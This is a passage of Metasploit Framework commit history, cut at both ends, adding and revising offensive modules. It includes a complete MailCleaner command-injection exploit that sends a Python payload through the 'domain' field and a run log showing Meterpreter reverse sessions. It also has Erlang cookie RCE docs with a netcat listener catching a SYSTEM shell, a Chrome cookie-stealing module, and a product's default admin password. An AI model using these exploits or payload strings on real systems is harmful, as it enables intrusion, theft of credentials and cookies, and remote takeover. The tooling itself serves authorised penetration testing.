-root@kali:/tmp# impacket-smbserver BOB . -Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies - -[*] Config file parsed -[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 -[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 -[*] Config file parsed -[*] Config file parsed -[*] Config file parsed -[*] Incoming connection (A.B.C.D,50349) -[*] AUTHENTICATE_MESSAGE (\,DESKTOP-85258BS) -[*] User \DESKTOP-85258BS authenticated successfully -[*] :::00::4141414141414141 - ---- Handler --- - -root@kali:~# nc -lvp 3 -Listening on [0.0.0.0] (family 0, port 3) -Connection from A.B.C.D 50350 received! -Microsoft Windows [Version 10.0.17134.407] -(c) 2018 Microsoft Corporation. All rights reserved. - -C:\Users\667563~1\AppData\Roaming\RabbitMQ>whoami -whoami -nt authority\system - -C:\Users\667563~1\AppData\Roaming\RabbitMQ> +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM ``` diff --git a/modules/exploits/multi/misc/erlang_cookie_rce.rb b/modules/exploits/multi/misc/erlang_cookie_rce.rb index 99b71263f8cb..3d000c19c295 100644 --- a/modules/exploits/multi/misc/erlang_cookie_rce.rb +++ b/modules/exploits/multi/misc/erlang_cookie_rce.rb @@ -20,7 +20,7 @@ def initialize(info = {}) }, 'Author' => [ - 'Daniel Mende', # discovery / blog post + 'Daniel Mende', # blog post article 'Milton Valencia (wetw0rk)', # metasploit module ], 'References' => @@ -29,9 +29,21 @@ def initialize(info = {}) ], 'License' => MSF_LICENSE, 'Platform' => ['unix', 'win'], + 'Arch' => ARCH_CMD, 'Privileged' => 'false', - 'Arch' => [ ARCH_CMD ], - 'Targets' => [[ 'Automatic Target', {} ]], + 'Targets' => + [ + [ 'Unix', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'}, + ], + [ 'Windows', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/adduser'}, + ] + ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 20, 2009', # https://github.com/erlang/otp/blob/master/lib/kernel/src/os.erl (history) ) @@ -67,7 +79,7 @@ def exploit send_name << "\x00\x05" # Version: R6 (5) send_name << "\x00\x03\x49\x9c" # Flags (0x0003499c) send_name << "#{our_node}" # @ - + # SEND_CHALLENGE_REPLY: return generated digest and its own challenge send_challenge_reply = "\x00\x15" # Length: 21 send_challenge_reply << "\x72" # Tag: r @@ -82,7 +94,7 @@ def exploit send << "\x61" # SMALL_INTEGER_EXT send << "\x06" # Int: 6 send << "\x67" # PID_EXT (103) - send << "\x64\x00" # Node: + send << "\x64\x00" # Node: send << [(our_node.length).to_s(16)].pack('H*') # Length: strlen(Node) send << "#{our_node}" # Node send << "\x00\x00\x00\x03" # ID From bb758f9a61de9ec2258b46210742b61be37f8b6f Mon Sep 17 00:00:00 2001 From: Milton-Valencia Date: Tue, 18 Dec 2018 14:55:12 -0600 Subject: [PATCH 086/220] I didn't forget msftidy I swear --- documentation/modules/exploit/multi/misc/erlang_cookie_rce.md | 2 +- modules/exploits/multi/misc/erlang_cookie_rce.rb | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md b/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md index 3f049ecdc2c1..2743af852906 100644 --- a/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md +++ b/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md @@ -113,7 +113,7 @@ msf exploit(multi/misc/erlang_cookie_rce) > exploit [*] Exploit completed, but no session was created. ``` -Once exploitation is complete the tester can authenticate. Another method that can be used it SMB as shown below. +Once exploitation is complete the tester can authenticate. Another method that can be used is SMB as shown below. exploit.rc -> ``` diff --git a/modules/exploits/multi/misc/erlang_cookie_rce.rb b/modules/exploits/multi/misc/erlang_cookie_rce.rb index 3d000c19c295..ef29c683a9d2 100644 --- a/modules/exploits/multi/misc/erlang_cookie_rce.rb +++ b/modules/exploits/multi/misc/erlang_cookie_rce.rb @@ -79,7 +79,7 @@ def exploit send_name << "\x00\x05" # Version: R6 (5) send_name << "\x00\x03\x49\x9c" # Flags (0x0003499c) send_name << "#{our_node}" # @ - + # SEND_CHALLENGE_REPLY: return generated digest and its own challenge send_challenge_reply = "\x00\x15" # Length: 21 send_challenge_reply << "\x72" # Tag: r @@ -94,7 +94,7 @@ def exploit send << "\x61" # SMALL_INTEGER_EXT send << "\x06" # Int: 6 send << "\x67" # PID_EXT (103) - send << "\x64\x00" # Node: + send << "\x64\x00" # Node: send << [(our_node.length).to_s(16)].pack('H*') # Length: strlen(Node) send << "#{our_node}" # Node send << "\x00\x00\x00\x03" # ID From 1b8b3bbb954ba9e2f12509a17fe4650cf2932b0d Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 18 Dec 2018 17:38:33 -0600 Subject: [PATCH 087/220] Update nc -j check in cups_root_file_read --- modules/post/multi/escalate/cups_root_file_read.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index 568fced71f08..482aa4fa6cea 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -159,7 +159,7 @@ def whereis(exe) def get_request(uri) output = perform_request(uri, 'nc -j localhost 631') - if output =~ /^usage: nc/ + if output =~ /^(?:usage: nc|nc: invalid option -- 'j')/ output = perform_request(uri, 'nc localhost 631') end From 3838be0a036be1aedc22266b5a516bcffd3c7bee Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Wed, 19 Dec 2018 05:58:11 -0600 Subject: [PATCH 088/220] Windows Hide Chrome Window --- modules/post/multi/gather/chrome_cookies.rb | 23 +++++++++++++++------ 1 file changed, 17 insertions(+), 6 deletions(-) diff --git a/modules/post/multi/gather/chrome_cookies.rb b/modules/post/multi/gather/chrome_cookies.rb index 23e458423dc8..d47f59dc01aa 100644 --- a/modules/post/multi/gather/chrome_cookies.rb +++ b/modules/post/multi/gather/chrome_cookies.rb @@ -68,10 +68,19 @@ def configure_for_platform @html_storage_path = create_cookie_stealing_html @chrome_debugging_cmd = "#{@chrome}" - @chrome_debugging_args = @platform == :windows ? '--enable-logging --disable-gpu' : '--headless' - @chrome_debugging_args << " --disable-web-security --disable-plugins --user-data-dir=\"#{@user_data_dir}\" --remote-debugging-port=#{datastore['REMOTE_DEBUGGING_PORT']} #{@html_storage_path}" + if @platform == :windows + @chrome_debugging_args = '--enable-logging' + @chrome_debugging_args << ' --disable-gpu' + @chrome_debugging_args << ' --window-position=0,0' + else + @chrome_debugging_args = '--headless' + end - nil + @chrome_debugging_args << ' --disable-web-security' + @chrome_debugging_args << ' --disable-plugins' + @chrome_debugging_args << " --user-data-dir=\"#{@user_data_dir}\"" + @chrome_debugging_args << " --remote-debugging-port=#{datastore['REMOTE_DEBUGGING_PORT']}" + @chrome_debugging_args << " #{@html_storage_path}" end def create_cookie_stealing_html @@ -127,14 +136,16 @@ def cleanup_html def get_cookies if @platform == :windows - chrome_output_pid = cmd_exec_get_pid @chrome_debugging_cmd, @chrome_debugging_args + chrome_pid = cmd_exec_get_pid @chrome_debugging_cmd, @chrome_debugging_args Rex::sleep(5) + chrome_output = read_file("#{@user_data_dir}\\chrome_debug.log") + cmd_exec("taskkill /f /pid #{chrome_pid}") else - chrome_output = cmd_exec @chrome_debugging_cmd, @chrome_debugging_args, 2 + chrome_output = cmd_exec @chrome_debugging_cmd, @chrome_debugging_args end - print_status "Activated Chrome's Remote Debugging via #{@chrome_debugging_cmd}" + print_status "Activated Chrome's Remote Debugging via #{@chrome_debugging_cmd} #{@chrome_debugging_args}" # Parse out the cookies from Chrome's output cookies_pattern = /REMOTE_DEBUGGING|\[.*\]/m From 5bfdc7009c5e12194c773464ce7aa5da4bea6df9 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Wed, 19 Dec 2018 07:58:32 -0600 Subject: [PATCH 089/220] Minor Doc Changes --- .../modules/exploit/multi/misc/erlang_cookie_rce.md | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md b/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md index 2743af852906..7c842a2c5a6c 100644 --- a/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md +++ b/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md @@ -1,11 +1,11 @@ ## Vulnerable Application The [Erlang Port Mapper Daemon](https://www.erlang.org/) is used to coordinate distributed erlang - instances. Should an attacker gain access to this cookie code execution is trivial. Normally this + instances. Should an attacker get the authentication cookie code execution is trivial. Normally this cookie can be found in the home directory as ".erlang.cookie", however it varies system to system - as well as it's configuration. As an example on a Windows 10 instance it can be found under the - users home directory: e.g "C:\Users\\.erlang.cookie". Code execution is achieved via the - "os:cmd('cmd')." command + as well as its configuration. As an example on a Windows 10 instance it can be found under the + users home directory: e.g `C:\Users\\.erlang.cookie`. Code execution is achieved via the + `os:cmd('cmd').` command ## Verification Steps @@ -116,6 +116,7 @@ msf exploit(multi/misc/erlang_cookie_rce) > exploit Once exploitation is complete the tester can authenticate. Another method that can be used is SMB as shown below. exploit.rc -> + ``` use exploit/windows/smb/smb_delivery set SHARE MSF From a4af89bb758365fc32e6247b5e0e751c08d309ee Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 19 Dec 2018 06:31:13 -0800 Subject: [PATCH 090/220] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 39 +++++++++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 6e42b3250294..9359f634c352 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -69121,6 +69121,45 @@ "notes": { } }, + "exploit_multi/misc/erlang_cookie_rce": { + "name": "Erlang Port Mapper Daemon Cookie RCE", + "full_name": "exploit/multi/misc/erlang_cookie_rce", + "rank": 500, + "disclosure_date": "2009-11-20", + "type": "exploit", + "author": [ + "Daniel Mende", + "Milton Valencia (wetw0rk)" + ], + "description": "The erlang port mapper daemon is used to coordinate distributed erlang instances.\n Should an attacker get the authentication cookie RCE is trivial. Usually, this\n cookie is named \".erlang.cookie\" and varies on location.", + "references": [ + "URL-https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/" + ], + "is_server": true, + "is_client": false, + "platform": "Unix,Windows", + "arch": "cmd", + "rport": 25672, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Unix", + "Windows" + ], + "mod_time": "2018-12-18 14:55:12 +0000", + "path": "/modules/exploits/multi/misc/erlang_cookie_rce.rb", + "is_install_path": true, + "ref_name": "multi/misc/erlang_cookie_rce", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + } + }, "exploit_multi/misc/hp_data_protector_exec_integutil": { "name": "HP Data Protector EXEC_INTEGUTIL Remote Code Execution", "full_name": "exploit/multi/misc/hp_data_protector_exec_integutil", From e5c8c18ded6a969cab4d786f9f5c2933b589edaf Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mehmet=20=C4=B0nce?= Date: Wed, 19 Dec 2018 17:35:40 +0300 Subject: [PATCH 091/220] Adding Mailcleaner exec --- .../exploit/linux/http/mailcleaner_exec.md | 48 +++++++ .../exploits/linux/http/mailcleaner_exec.rb | 119 ++++++++++++++++++ 2 files changed, 167 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/mailcleaner_exec.md create mode 100644 modules/exploits/linux/http/mailcleaner_exec.rb diff --git a/documentation/modules/exploit/linux/http/mailcleaner_exec.md b/documentation/modules/exploit/linux/http/mailcleaner_exec.md new file mode 100644 index 000000000000..78f27a96bfe9 --- /dev/null +++ b/documentation/modules/exploit/linux/http/mailcleaner_exec.md @@ -0,0 +1,48 @@ +## Vulnerable Application + +This module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an operating system command under the context of the web server user which is root. + +You can download ISO file from following URL. +[https://www.mailcleaner.org/latest-downloads/](https://www.mailcleaner.org/latest-downloads/) + +At the time of this writing all the passwords of users such as root or admin user was "MCPassw0rd". + +## Verification Steps + +A successful check of the exploit will look like this: + +- [ ] Start `msfconsole` +- [ ] `use use exploit/linux/http/mailcleaner` +- [ ] Set `RHOST` +- [ ] Set `LHOST` +- [ ] Set `USERNAME` +- [ ] Set `PASSWORD` +- [ ] Run `exploit` +- [ ] **Verify** that you are seeing ` Awesome..! Authenticated`. +- [ ] **Verify** that you are getting `meterpreter` session. + +## Scenarios + +``` +msf5 > use exploit/linux/http/mailcleaner_exec +msf5 exploit(linux/http/mailcleaner_exec) > set RHOSTS 12.0.0.100 +RHOSTS => 12.0.0.100 +msf5 exploit(linux/http/mailcleaner_exec) > set LHOST 12.0.0.1 +LHOST => 12.0.0.1 +msf5 exploit(linux/http/mailcleaner_exec) > set USERNAME admin +USERNAME => admin +msf5 exploit(linux/http/mailcleaner_exec) > set PASSWORD +PASSWORD => qwe123 +msf5 exploit(linux/http/mailcleaner_exec) > run + +[*] Started reverse TCP handler on 12.0.0.1:4444 +[*] Performing authentication... +[+] Awesome..! Authenticated with admin: +[*] Exploiting command injection flaw +[*] Sending stage (53508 bytes) to 12.0.0.100 +[*] Meterpreter session 1 opened (12.0.0.1:4444 -> 12.0.0.100:44974) at 2018-12-19 17:24:44 +0300 +[*] Sending stage (53508 bytes) to 12.0.0.100 +[*] Meterpreter session 2 opened (12.0.0.1:4444 -> 12.0.0.100:44975) at 2018-12-19 17:24:45 +0300 + +meterpreter > +``` \ No newline at end of file diff --git a/modules/exploits/linux/http/mailcleaner_exec.rb b/modules/exploits/linux/http/mailcleaner_exec.rb new file mode 100644 index 000000000000..a159241acff0 --- /dev/null +++ b/modules/exploits/linux/http/mailcleaner_exec.rb @@ -0,0 +1,119 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "Mailcleaner Remote Code Execution", + 'Description' => %q{ + This module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an + operating system command under the context of the web server user which is root. + + /admin/managetracing/search/search endpoint takes several user inputs and then pass them to the internal service which is responsible for executing + operating system command. One of the user input is being passed to the service without proper validation. That cause a command injection vulnerability. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Mehmet Ince ' # author & msf module + ], + 'References' => + [ + ['URL', 'https://pentest.blog/advisory-mailcleaner-community-edition-remote-code-execution/'] + ], + 'DefaultOptions' => + { + 'SSL' => true, + 'WfsDelay' => 5, + 'Payload' => 'python/meterpreter/reverse_tcp' + }, + 'Platform' => ['python'], + 'Arch' => ARCH_PYTHON, + 'Targets' => [[ 'Automatic', { }]], + 'Privileged' => false, + 'DisclosureDate' => "Dec 19 2018", + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(443), + OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']), + OptString.new('USERNAME', [true, 'The username to login as']), + OptString.new('PASSWORD', [true, 'The password to login with']) + ] + ) + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def auth + print_status('Performing authentication...') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin', '/') + }) + + if res && !res.get_cookies.empty? + cookie = res.get_cookies + else + fail_with(Failure::Unknown, 'Did not get cookie-set header from response.') + end + + # Performing authentication + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', '/'), + 'cookie' => cookie, + 'vars_post' => { + 'username' => username, + 'password' => password, + 'submit' => 'Log+in' + } + }) + + if res && res.code == 302 + print_good("Awesome..! Authenticated with #{username}:#{password}") + else + fail_with(Failure::Unknown, 'Credentials are not valid.') + end + + cookie + end + + def exploit + cookie = auth + + if cookie.nil? + fail_with(Failure::Unknown, 'Something went wrong!') + end + + print_status('Exploiting command injection flaw') + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'managetracing', 'search', 'search'), + 'cookie' => cookie, + 'vars_post' => { + 'search' => rand_text_alpha(5), + 'domain' => "';$(python -c \"#{payload.encoded}\");#", + 'submit' => 1 + } + }) + + end +end + From 09f9b887b9a634ee76b81260c800a581d099d113 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Wed, 19 Dec 2018 10:52:51 -0600 Subject: [PATCH 092/220] don't bother handholding the empty string --- lib/msf/core/payload/windows/reverse_http.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index 8c314cab8d60..f0996e3087c2 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -275,7 +275,7 @@ def asm_reverse_http(opts={}) push ebx ; DWORD dwAccessType (PRECONFIG = 0) ^ end - if opts[:ua].to_s.empty? + if opts[:ua].nil? asm << %Q^ push ebx ; LPCTSTR lpszAgent (NULL) ^ From 3232b60ede2b269e493df0865b110d0cd11a061c Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 19 Dec 2018 09:52:48 -0800 Subject: [PATCH 093/220] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 9359f634c352..c99f7ca58639 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -138206,7 +138206,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-11-21 13:53:33 +0000", + "mod_time": "2018-12-08 06:24:02 +0000", "path": "/modules/payloads/stagers/windows/reverse_http.rb", "is_install_path": true, "ref_name": "windows/dllinject/reverse_http", @@ -139231,7 +139231,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-11-21 13:53:33 +0000", + "mod_time": "2018-12-08 06:24:02 +0000", "path": "/modules/payloads/stagers/windows/reverse_http.rb", "is_install_path": true, "ref_name": "windows/meterpreter/reverse_http", @@ -139301,7 +139301,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-11-21 13:53:33 +0000", + "mod_time": "2018-12-08 06:24:02 +0000", "path": "/modules/payloads/stagers/windows/reverse_https.rb", "is_install_path": true, "ref_name": "windows/meterpreter/reverse_https", @@ -143428,7 +143428,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-11-21 13:53:33 +0000", + "mod_time": "2018-12-08 06:24:02 +0000", "path": "/modules/payloads/stagers/windows/reverse_http.rb", "is_install_path": true, "ref_name": "windows/vncinject/reverse_http", From 50b7d93a182dcaa92ea5d98f253c5dbc2e6c88be Mon Sep 17 00:00:00 2001 From: asoto-r7 Date: Wed, 19 Dec 2018 12:56:53 -0600 Subject: [PATCH 094/220] java_jmx_scanner: Incorporate @bcoles suggestions --- .../auxiliary/scanner/misc/java_jmx_server.rb | 31 +++++++------------ 1 file changed, 12 insertions(+), 19 deletions(-) diff --git a/modules/auxiliary/scanner/misc/java_jmx_server.rb b/modules/auxiliary/scanner/misc/java_jmx_server.rb index 5a4d82cdbb24..c87cc00524ea 100644 --- a/modules/auxiliary/scanner/misc/java_jmx_server.rb +++ b/modules/auxiliary/scanner/misc/java_jmx_server.rb @@ -117,25 +117,18 @@ def discover_endpoint end def handshake(mbean) - begin - opts = { - object_number: mbean[:object_number], - uid_number: mbean[:uid].number, - uid_time: mbean[:uid].time, - uid_count: mbean[:uid].count - } - - ref = send_new_client(opts) - rescue ::Rex::Proto::Rmi::Exception => e - vprint_error("JMXRMI discovery raised an exception of type #{e.message}") - if e.message == "java.lang.SecurityException" - return false - else - return nil - end + opts = { + object_number: mbean[:object_number], + uid_number: mbean[:uid].number, + uid_time: mbean[:uid].time, + uid_count: mbean[:uid].count + } + send_new_client(opts) + rescue ::Rex::Proto::Rmi::Exception => e + vprint_error("JMXRMI discovery raised an exception of type #{e.message}") + if e.message == 'java.lang.SecurityException' + return false end - - ref + return nil end - end From b52a4f91acf801828b7dea544179090788f66bb0 Mon Sep 17 00:00:00 2001 From: asoto-r7 Date: Wed, 19 Dec 2018 13:08:16 -0600 Subject: [PATCH 095/220] java_jmx_scanner: Final draft of documentation --- .../scanner/misc/java_jmx_scanner.md | 59 +++++++++++++++++++ 1 file changed, 59 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/misc/java_jmx_scanner.md diff --git a/documentation/modules/auxiliary/scanner/misc/java_jmx_scanner.md b/documentation/modules/auxiliary/scanner/misc/java_jmx_scanner.md new file mode 100644 index 000000000000..1fcc90c56ab2 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/misc/java_jmx_scanner.md @@ -0,0 +1,59 @@ +The `java_jmx_scanner` module uses the `Msf::Exploit::Remote::Java::Rmi::Client` library to perform a handshake with a Java JMX MBean server. JMX MBean listens in 1099 by default, and is used to manage and monitor Java applications. + +The module returns whether the target is a Java JMX MBeans server and also outputs if the server requires authentication. + +## Vulnerable Application + +While many implementations of JMX are available, the module was successfully tested against an Apache ActiveMQ 5.13.3 server with JMX enabled. For convenience, a docker container (`antonw/activemq-jmx`) supports JMX and can be tweaked to require authentication. + +## Verification Steps + + See [PR#10401](https://github.com/rapid7/metasploit-framework/pull/10401) for general information, and [this specific comment](https://github.com/rapid7/metasploit-framework/pull/10401#issuecomment-448705897) for steps to require JMX authentication in the container. In summary: + +``` +docker run -p 1099:1099 antonw/activemq-jmx +docker exec -u=root -it `docker ps -q` /bin/bash + +# echo -e "monitorRole QED\ncontrolRole R&D" /etc/java-7-openjdk/management/jmxremote.password +# chown activemq /etc/java-7-openjdk/management/jmxremote.password +# chmod 400 /etc/java-7-openjdk/management/jmxremote.password +# sed 's/-Dcom.sun.management.jmxremote.authenticate=false/-Dcom.sun.management.jmxremote.authenticate=true/' /opt/apache-activemq-5.13.3/bin/env + +docker restart `docker ps -q` +``` + +## Options + + **Option name** + + Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here. + +## Scenarios + +### ActiveMQ 5.13.3 + +Against the above-described Docker container, the workflow looks like: + +``` +msf5 auxiliary(scanner/misc/java_jmx_server) > set RHOST 127.0.0.1 +msf5 auxiliary(scanner/misc/java_jmx_server) > set RPORT 1099 +msf5 auxiliary(scanner/misc/java_jmx_server) > run +[*] Reloading module... + +[*] 127.0.0.1:1099 - Sending RMI header... +[*] 127.0.0.1:1099 - localhost:1099 Java JMX MBean authentication required +[*] 127.0.0.1:1099 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +In addition, note that `services` within the data model has been updated: + +``` +msf5 auxiliary(scanner/misc/java_jmx_server) > services +Services +======== + +host port proto name state info +---- ---- ----- ---- ----- ---- +127.0.0.1 1099 tcp java-rmi open JMX MBean server accessible +``` From 68ceb08957017835000a1231ad37974f1a8df75c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mehmet=20=C4=B0nce?= Date: Wed, 19 Dec 2018 22:17:34 +0300 Subject: [PATCH 096/220] Fixing minor issues such as err codes --- modules/exploits/linux/http/mailcleaner_exec.rb | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/modules/exploits/linux/http/mailcleaner_exec.rb b/modules/exploits/linux/http/mailcleaner_exec.rb index a159241acff0..73aa92bf8e23 100644 --- a/modules/exploits/linux/http/mailcleaner_exec.rb +++ b/modules/exploits/linux/http/mailcleaner_exec.rb @@ -64,19 +64,19 @@ def auth res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'admin', '/') + 'uri' => normalize_uri(target_uri.path, 'admin/') }) if res && !res.get_cookies.empty? cookie = res.get_cookies else - fail_with(Failure::Unknown, 'Did not get cookie-set header from response.') + fail_with(Failure::UnexpectedReply, 'Did not get cookie-set header from response.') end # Performing authentication res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'admin', '/'), + 'uri' => normalize_uri(target_uri.path, 'admin/'), 'cookie' => cookie, 'vars_post' => { 'username' => username, @@ -88,7 +88,7 @@ def auth if res && res.code == 302 print_good("Awesome..! Authenticated with #{username}:#{password}") else - fail_with(Failure::Unknown, 'Credentials are not valid.') + fail_with(Failure::NoAccess, 'Credentials are not valid.') end cookie @@ -115,5 +115,4 @@ def exploit }) end -end - +end \ No newline at end of file From 0a7464e7d2c8ddeb446c520391645b473e727bc8 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 19 Dec 2018 11:19:52 -0800 Subject: [PATCH 097/220] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 37 +++++++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index c99f7ca58639..f805eb3253fa 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -30179,6 +30179,43 @@ "notes": { } }, + "auxiliary_scanner/misc/java_jmx_server": { + "name": "Java JMX Server Insecure Endpoint Code Execution Scanner", + "full_name": "auxiliary/scanner/misc/java_jmx_server", + "rank": 300, + "disclosure_date": "2013-05-22", + "type": "auxiliary", + "author": [ + "rocktheboat" + ], + "description": "Detect Java JMX endpoints", + "references": [ + "URL-https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf", + "URL-https://www.optiv.com/blog/exploiting-jmx-rmi", + "CVE-2015-2342" + ], + "is_server": false, + "is_client": false, + "platform": "Java", + "arch": "", + "rport": 1099, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": null, + "mod_time": "2018-12-19 12:56:53 +0000", + "path": "/modules/auxiliary/scanner/misc/java_jmx_server.rb", + "is_install_path": true, + "ref_name": "scanner/misc/java_jmx_server", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + } + }, "auxiliary_scanner/misc/java_rmi_server": { "name": "Java RMI Server Insecure Endpoint Code Execution Scanner", "full_name": "auxiliary/scanner/misc/java_rmi_server", From bf4bb0a5b9915f81bf88ee1b0a1aec10c8bdbf1e Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Wed, 19 Dec 2018 18:19:24 -0600 Subject: [PATCH 098/220] bump metasploit-payloads gem Update metasploit-payloads gem to 1.3.57 to pick up fix for Python Meterpreter PTY Leak from rapid7/metasploit-payloads#319 --- Gemfile.lock | 8 ++++---- metasploit-framework.gemspec | 2 +- modules/payloads/singles/python/meterpreter_bind_tcp.rb | 2 +- .../payloads/singles/python/meterpreter_reverse_http.rb | 2 +- .../payloads/singles/python/meterpreter_reverse_https.rb | 2 +- .../payloads/singles/python/meterpreter_reverse_tcp.rb | 2 +- modules/payloads/singles/windows/x64/messagebox.rb | 2 +- 7 files changed, 10 insertions(+), 10 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 97102d1aa26c..82802bc994c5 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -21,7 +21,7 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 1.3.56) + metasploit-payloads (= 1.3.57) metasploit_data_models metasploit_payloads-mettle (= 0.5.0) mqtt @@ -122,7 +122,7 @@ GEM concurrent-ruby (1.0.5) cookiejar (0.3.3) crass (1.0.4) - daemons (1.3.0) + daemons (1.3.1) diff-lcs (1.3) dnsruby (1.61.2) addressable (~> 2.5) @@ -178,7 +178,7 @@ GEM activemodel (~> 4.2.6) activesupport (~> 4.2.6) railties (~> 4.2.6) - metasploit-payloads (1.3.56) + metasploit-payloads (1.3.57) metasploit_data_models (3.0.2) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -210,7 +210,7 @@ GEM pcaprub patch_finder (1.0.2) pcaprub (0.13.0) - pdf-reader (2.1.0) + pdf-reader (2.2.0) Ascii85 (~> 1.0.0) afm (~> 0.2.1) hashery (~> 2.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 18400ea14db6..45d9eeac943a 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -70,7 +70,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.3.56' + spec.add_runtime_dependency 'metasploit-payloads', '1.3.57' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.5.0' # Needed by msfgui and other rpc components diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index 71f3b7444c30..ec2cad0ff10a 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -11,7 +11,7 @@ module MetasploitModule - CachedSize = 71634 + CachedSize = 71982 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb index e5d6ad649dca..c715d2b26885 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -11,7 +11,7 @@ module MetasploitModule - CachedSize = 71570 + CachedSize = 71918 include Msf::Payload::Single include 